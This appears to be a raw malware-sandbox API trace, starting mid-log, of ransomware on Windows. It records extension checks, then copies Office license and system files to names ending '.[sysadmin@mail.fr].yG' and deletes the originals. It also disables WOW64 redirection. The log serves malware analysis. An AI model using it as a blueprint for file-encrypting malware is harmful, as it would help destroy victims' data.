	[0177.444] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.444] lstrlenW (lpString=".7z") returned 3
	[0177.444] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95
	[0177.445] lstrlenW (lpString=".dbf") returned 4
	[0177.445] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95
	[0177.445] lstrlenW (lpString=".1cd") returned 4
	[0177.445] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95
	[0177.445] lstrlenW (lpString=".jpg") returned 4
	[0177.445] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.445] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11215) returned 1
	[0177.445] CloseHandle (hObject=0x398) returned 1
	[0177.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-pl.xrm-ms")) returned 0x220
	[0177.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0177.447] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.447] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0177.448] GetLastError () returned 0x0
	[0177.448] ReadFile (in: hFile=0x398, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2bcf, lpOverlapped=0x0) returned 1
	[0177.559] WriteFile (in: hFile=0x540, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2bd0, lpOverlapped=0x0) returned 1
	[0177.561] ReadFile (in: hFile=0x398, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.561] WriteFile (in: hFile=0x540, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x126, lpOverlapped=0x0) returned 1
	[0177.561] SetEndOfFile (hFile=0x540) returned 1
	[0177.561] CloseHandle (hObject=0x540) returned 1
	[0177.561] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.562] SetEndOfFile (hFile=0x398) returned 1
	[0177.565] CloseHandle (hObject=0x398) returned 1
	[0177.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-pl.xrm-ms")) returned 1
	[0177.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91
	[0177.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91
	[0177.567] lstrlenW (lpString=".doc") returned 4
	[0177.567] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.567] lstrlenW (lpString=".docx") returned 5
	[0177.567] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.567] lstrlenW (lpString=".pdf") returned 4
	[0177.567] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.567] lstrlenW (lpString=".xls") returned 4
	[0177.567] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.567] lstrlenW (lpString=".xlsx") returned 5
	[0177.567] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.567] lstrlenW (lpString=".ppt") returned 4
	[0177.567] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91
	[0177.567] lstrlenW (lpString=".zip") returned 4
	[0177.567] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.567] lstrlenW (lpString=".rar") returned 4
	[0177.567] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.567] lstrlenW (lpString=".bz2") returned 4
	[0177.567] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.567] lstrlenW (lpString=".7z") returned 3
	[0177.568] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91
	[0177.568] lstrlenW (lpString=".dbf") returned 4
	[0177.568] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91
	[0177.568] lstrlenW (lpString=".1cd") returned 4
	[0177.568] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91
	[0177.568] lstrlenW (lpString=".jpg") returned 4
	[0177.568] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.569] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11215) returned 1
	[0177.569] CloseHandle (hObject=0x398) returned 1
	[0177.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-pl.xrm-ms")) returned 0x220
	[0177.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0177.570] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.570] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0177.571] GetLastError () returned 0x0
	[0177.571] ReadFile (in: hFile=0x398, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2bcf, lpOverlapped=0x0) returned 1
	[0177.706] WriteFile (in: hFile=0x540, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2bd0, lpOverlapped=0x0) returned 1
	[0177.707] ReadFile (in: hFile=0x398, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.707] WriteFile (in: hFile=0x540, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x126, lpOverlapped=0x0) returned 1
	[0177.707] SetEndOfFile (hFile=0x540) returned 1
	[0177.708] CloseHandle (hObject=0x540) returned 1
	[0177.708] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.708] SetEndOfFile (hFile=0x398) returned 1
	[0177.713] CloseHandle (hObject=0x398) returned 1
	[0177.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-pl.xrm-ms")) returned 1
	[0178.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91
	[0178.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91
	[0178.048] lstrlenW (lpString=".doc") returned 4
	[0178.048] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.048] lstrlenW (lpString=".docx") returned 5
	[0178.048] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.048] lstrlenW (lpString=".pdf") returned 4
	[0178.048] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.049] lstrlenW (lpString=".xls") returned 4
	[0178.049] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.049] lstrlenW (lpString=".xlsx") returned 5
	[0178.049] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.049] lstrlenW (lpString=".ppt") returned 4
	[0178.049] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91
	[0178.049] lstrlenW (lpString=".zip") returned 4
	[0178.049] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.049] lstrlenW (lpString=".rar") returned 4
	[0178.049] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.049] lstrlenW (lpString=".bz2") returned 4
	[0178.049] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.049] lstrlenW (lpString=".7z") returned 3
	[0178.049] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91
	[0178.049] lstrlenW (lpString=".dbf") returned 4
	[0178.049] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91
	[0178.049] lstrlenW (lpString=".1cd") returned 4
	[0178.049] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91
	[0178.049] lstrlenW (lpString=".jpg") returned 4
	[0178.049] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.049] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x596d28 | out: hHeap=0x4f0000) returned 1
	[0178.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ce20 | out: hHeap=0x4f0000) returned 1
	[0178.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3916ea0 | out: hHeap=0x4f0000) returned 1
	[0178.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3926ea8 | out: hHeap=0x4f0000) returned 1
	[0178.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43f0020 | out: hHeap=0x4f0000) returned 1
	[0178.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x596cb0 | out: hHeap=0x4f0000) returned 1
	[0178.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x45921d0
	[0178.058] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x45921d0, Size=0x20) returned 0x45b0458
	[0178.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x45921d0
	[0178.058] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x45921d0, Size=0x20) returned 0x45b05c0
	[0178.059] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0178.059] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0178.059] Wow64DisableWow64FsRedirection (in: OldValue=0x3f3ff50 | out: OldValue=0x3f3ff50*=0x1) returned 1
	[0178.059] lstrlenW (lpString="kernel32.dll") returned 12
	[0178.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b05c0 | out: hHeap=0x4f0000) returned 1
	[0178.059] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0178.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b0458 | out: hHeap=0x4f0000) returned 1

Thread:
	id = 52
	os_tid = 0xe48

	[0134.132] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x393aeb8
	[0134.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x4500048
	[0134.134] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x596d40
	[0134.134] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x54cf00
	[0134.134] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x596e00
	[0134.134] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x470c020
	[0134.137] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x596d70
	[0134.138] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x596d70, Size=0x20) returned 0x52dce8
	[0134.138] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x596da0
	[0134.138] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x596da0, Size=0x20) returned 0x52da68
	[0134.138] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0134.138] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0134.138] Wow64DisableWow64FsRedirection (in: OldValue=0x407ff50 | out: OldValue=0x407ff50*=0x0) returned 1
	[0134.138] lstrlenW (lpString="kernel32.dll") returned 12
	[0134.138] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dce8 | out: hHeap=0x4f0000) returned 1
	[0134.138] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0134.138] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da68 | out: hHeap=0x4f0000) returned 1
	[0134.139] Sleep (dwMilliseconds=0x64) 
	[0134.461] Sleep (dwMilliseconds=0x64) 
	[0134.750] lstrcmpiW (lpString1=".ttf", lpString2=".yG") returned -1
	[0134.750] lstrlenW (lpString="msyh_boot.ttf") returned 13
	[0134.750] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0135.970] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=156245) returned 1
	[0135.970] CloseHandle (hObject=0x3a0) returned 1
	[0135.970] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf")) returned 0x20
	[0135.970] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0135.970] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0135.970] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0135.970] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0135.970] lstrlenW (lpString=".doc") returned 4
	[0135.970] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0135.971] lstrlenW (lpString=".docx") returned 5
	[0135.971] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0135.971] lstrlenW (lpString=".pdf") returned 4
	[0135.971] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0135.971] lstrlenW (lpString=".xls") returned 4
	[0135.971] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0135.971] lstrlenW (lpString=".xlsx") returned 5
	[0135.971] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0135.971] lstrlenW (lpString=".ppt") returned 4
	[0135.971] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0135.971] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0135.971] lstrlenW (lpString=".zip") returned 4
	[0135.971] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0135.971] lstrlenW (lpString=".rar") returned 4
	[0135.971] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0135.971] lstrlenW (lpString=".bz2") returned 4
	[0135.971] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0135.971] lstrlenW (lpString=".7z") returned 3
	[0135.971] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0135.971] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0135.971] lstrlenW (lpString=".dbf") returned 4
	[0135.971] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0135.971] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0135.971] lstrlenW (lpString=".1cd") returned 4
	[0135.971] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0135.971] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0135.972] lstrlenW (lpString=".jpg") returned 4
	[0135.972] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0135.972] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0135.972] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0135.972] lstrlenW (lpString=".doc") returned 4
	[0135.972] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0135.972] lstrlenW (lpString=".docx") returned 5
	[0135.972] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0135.972] lstrlenW (lpString=".pdf") returned 4
	[0135.972] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0135.972] lstrlenW (lpString=".xls") returned 4
	[0135.972] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0135.972] lstrlenW (lpString=".xlsx") returned 5
	[0135.972] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0135.972] lstrlenW (lpString=".ppt") returned 4
	[0135.972] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0135.972] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0135.972] lstrlenW (lpString=".zip") returned 4
	[0135.972] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0135.972] lstrlenW (lpString=".rar") returned 4
	[0135.973] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0135.973] lstrlenW (lpString=".bz2") returned 4
	[0135.973] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0135.974] lstrlenW (lpString=".7z") returned 3
	[0135.974] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0135.975] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0135.975] lstrlenW (lpString=".dbf") returned 4
	[0135.975] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0135.975] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0135.975] lstrlenW (lpString=".1cd") returned 4
	[0135.975] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0135.975] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0135.975] lstrlenW (lpString=".jpg") returned 4
	[0135.976] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0135.985] lstrcmpiW (lpString1=".mui", lpString2=".yG") returned -1
	[0135.985] lstrlenW (lpString="IpsMigrationPlugin.dll.mui") returned 26
	[0135.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4
	[0135.990] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=2560) returned 1
	[0135.990] CloseHandle (hObject=0x3a4) returned 1
	[0135.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20
	[0135.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0135.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0135.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0135.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0135.996] lstrlenW (lpString=".doc") returned 4
	[0135.996] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0135.997] lstrlenW (lpString=".docx") returned 5
	[0135.997] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0135.998] lstrlenW (lpString=".pdf") returned 4
	[0135.998] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0135.999] lstrlenW (lpString=".xls") returned 4
	[0135.999] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0135.999] lstrlenW (lpString=".xlsx") returned 5
	[0135.999] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0135.999] lstrlenW (lpString=".ppt") returned 4
	[0135.999] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0135.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0135.999] lstrlenW (lpString=".zip") returned 4
	[0135.999] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0135.999] lstrlenW (lpString=".rar") returned 4
	[0135.999] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0135.999] lstrlenW (lpString=".bz2") returned 4
	[0135.999] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0135.999] lstrlenW (lpString=".7z") returned 3
	[0135.999] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0135.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0135.999] lstrlenW (lpString=".dbf") returned 4
	[0135.999] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0135.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0135.999] lstrlenW (lpString=".1cd") returned 4
